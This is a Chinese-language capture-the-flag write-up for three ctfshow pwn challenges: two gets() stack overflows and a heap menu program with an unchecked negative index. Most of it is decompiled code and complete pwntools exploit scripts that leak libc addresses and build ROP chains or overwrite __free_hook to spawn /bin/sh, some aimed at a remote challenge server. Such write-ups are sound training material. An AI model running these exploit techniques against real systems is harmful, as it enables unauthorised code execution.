难度很友好,萌新i了i了。
用ida加载程序,打开main()函数发现存在gets()函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-370h]
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("welcome_to_ctfshow_1024_cup,input_your_ticket");
gets(&s, 0LL);
puts(&s);
return 0;
}
推测该题为简单的x64程序栈溢出,利用gets()函数覆盖返回地址构造ROP链,exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./checkin')
gdb.attach(r,'b * 0x400672')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28091)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
elf = ELF('./checkin')
main = elf.symbols['main']
puts = elf.symbols['puts']
rdi = 0x4006e3
ret = 0x4004c6
lsm = elf.got['__libc_start_main']\
r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main))
r.recvuntil('36D\n')
libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main']
log.success('libc_addr:'+hex(libc_addr))
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh').next()
log.success('system:'+hex(system))
log.success('/bin/sh:'+hex(binsh))
r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main))
r.interactive()
利用ida加载程序,发现main()存在gets()函数,但是在程序结束之前要经过ctfshow()函数的检测才能继续执行。
main()函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-380h]
int v5; // [rsp+37Ch] [rbp-4h]
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("What kinds of girls do you like?\n");
puts("1.beautiful\n");
puts("2.lovely\n");
puts("3.no no ,I like boys\n");
puts("4.I only love qunzhu\n");
gets(&s, 0LL);
v5 = ctfshow(&s);
if ( v5 )
{
puts("no,u dont\n");
exit(0);
}
puts("here you are\n");
puts(&s);
return 0;
}
ctfshow()函数为对刚刚输入的字符串进行比较,可利用\x00
截断绕过。
__int64 __fastcall ctfshow(const char *a1)
{
return (unsigned int)strcmp(a1, "36D");
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./stack')
gdb.attach(r,'b * 0x400793')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28033)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
elf = ELF('./stack')
main = elf.symbols['main']
puts = elf.symbols['puts']
rdi = 0x400803
ret = 0x40028a
lsm = elf.got['__libc_start_main']
r.recvuntil('qunzhu\n\n')
r.sendline('36D\x00'+cyclic(892)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main))
r.recvuntil('36D\n')
libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main']
log.success('libc_addr:'+hex(libc_addr))
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh').next()
log.success('system:'+hex(system))
log.success('/bin/sh:'+hex(binsh))
r.recvuntil('qunzhu\n\n')
r.sendline('36D\x00'+cyclic(892)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main))
r.interactive()
这道题我偷鸡了,虽然题目说用的unlink,但我没有用这个堆利用做的。用ida加载,打开main()函数。看结构为简易的堆题。
void __fastcall main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
v3 = "Welcome To |>>CTFSHOW's Book Store<<|";
puts("Welcome To |>>CTFSHOW's Book Store<<|");
sub_400846();
while ( 1 )
{
sub_4008A7(v3, a2);
a2 = (char **)"please input your choice: ";
v3 = "%s";
printf("%s", "please input your choice: ");
switch ( (unsigned int)sub_4008E0() )
{
case 1u:
sub_400985();
break;
case 2u:
sub_400A12();
break;
case 3u:
sub_400A7E();
break;
case 4u:
sub_400AC1();
break;
case 5u:
exit(1);
return;
default:
v3 = "Input Err..";
puts("Input Err..");
break;
}
}
}
其中目录函数为
int sub_4008A7()
{
puts("1. Add book");
puts("2. Delete book");
puts("3. Show book");
puts("4. Edit book");
return puts("5. Leave Store");
}
对应分别找到add()
__int64 sub_400985()
{
int v0; // ST08_4
int v1; // ST0C_4
__int64 result; // rax
printf("%s", "Plz Input idx: ");
v0 = sub_4008E0();
printf("%s", "Plz Input size: ");
v1 = sub_4008E0();
buf[2 * v0] = (char *)malloc(v1);
result = 2 * v0 + 1;
buf[result] = (char *)v1;
return result;
}
delete()
__int64 sub_400A12()
{
int v0; // ST0C_4
__int64 result; // rax
printf("%s", "Plz Input idx: ");
v0 = sub_4008E0();
free(buf[2 * v0]);
buf[2 * v0] = 0LL;
result = 2 * v0 + 1;
buf[result] = 0LL;
return result;
}
show()
int sub_400A7E()
{
int v0; // ST0C_4
printf("%s", "Plz Input idx: ");
v0 = sub_4008E0();
return puts(buf[2 * v0]);
}
edit()
ssize_t sub_400AC1()
{
int v0; // eax
int v1; // ST08_4
int v2; // ST0C_4
printf("%s", "Plz Input idx: ");
v0 = sub_4008E0();
v1 = v0;
v2 = (unsigned __int64)buf[2 * v0 + 1];
printf("%s", "Plz Input content: ");
return read(0, buf[2 * v1], (unsigned int)(v2 + 8));
}
这个程序并没有对堆块地址数组进行限制,存在数组溢出。在动态调试时发现-30
位置存有地址指向-14
的位置0x602000
,而0x602000
地址为可写,这样我们就可以实现任意地址读和任意地址写。
0x601f00: 0x0000000000602000 0x0000000000000002
0x601f10: 0x00000000000000f0 0x0000000000000014
0x601f20: 0x0000000000000007 0x0000000000000017
0x601f30: 0x0000000000400578 0x0000000000000007
0x601f40: 0x0000000000400518 0x0000000000000008
0x601f50: 0x0000000000000060 0x0000000000000009
0x601f60: 0x0000000000000018 0x000000006ffffffe
0x601f70: 0x00000000004004e8 0x000000006fffffff
0x601f80: 0x0000000000000001 0x000000006ffffff0
0x601f90: 0x00000000004004c6 0x0000000000000000
0x601fa0: 0x0000000000000000 0x0000000000000000
0x601fb0: 0x0000000000000000 0x0000000000000000
0x601fc0: 0x0000000000000000 0x0000000000000000
0x601fd0: 0x0000000000000000 0x0000000000000000
0x601fe0: 0x0000000000000000 0x0000000000000000
0x601ff0: 0x0000000000000000 0x0000000000000000
0x602000: 0x0000000000601e28 0x00007f6572491168
0x602010: 0x00007f6572281f10 0x00000000004006a6
0x602020: 0x00007f6571f0f6a0 0x00000000004006c6
0x602030: 0x00007f6571ef5810 0x00007f6571f97310
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./unlink')
#gdb.attach(r,'b * malloc')
#gdb.attach(r,'b * 0x4008a7')
gdb.attach(r,'b * 0x400b35')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28047)
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
elf = ELF('./unlink')
def add(index,size):
r.recvuntil("choice: ")
r.sendline("1")
r.recvuntil("idx:")
r.sendline(str(index))
r.recvuntil("size:")
r.sendline(str(size))
def edit(index,chat):
r.recvuntil("choice: ")
r.sendline("4")
r.recvuntil("idx:")
r.sendline(str(index))
r.recvuntil("content:")
r.send(chat)
def show(index):
r.recvuntil("choice: ")
r.sendline("3")
r.recvuntil("idx: ")
r.sendline(str(index))
def dele(index):
r.recvuntil("choice: ")
r.sendline("2")
r.recvuntil("idx:")
r.sendline(str(index))
puts_got = elf.got['puts']
add(0,0x58)
add(1,0x58)
add(2,0x58)
edit(1,'/bin/sh')
edit(-30,p16(0x20e0))
edit(-14,p64(puts_got)+p64(0x58))
show(0)
puts = u64(r.recv(6)+2*'\x00')
log.success('puts:'+hex(puts))
libc_addr = puts-libc.symbols['puts']
log.success('libc_addr:'+hex(libc_addr))
free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols['system']
log.success('free_hook:'+hex(free_hook))
log.success('system:'+hex(system))
edit(-14,p64(free_hook)+p64(0x58))
edit(0,p64(system))
dele(1)
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!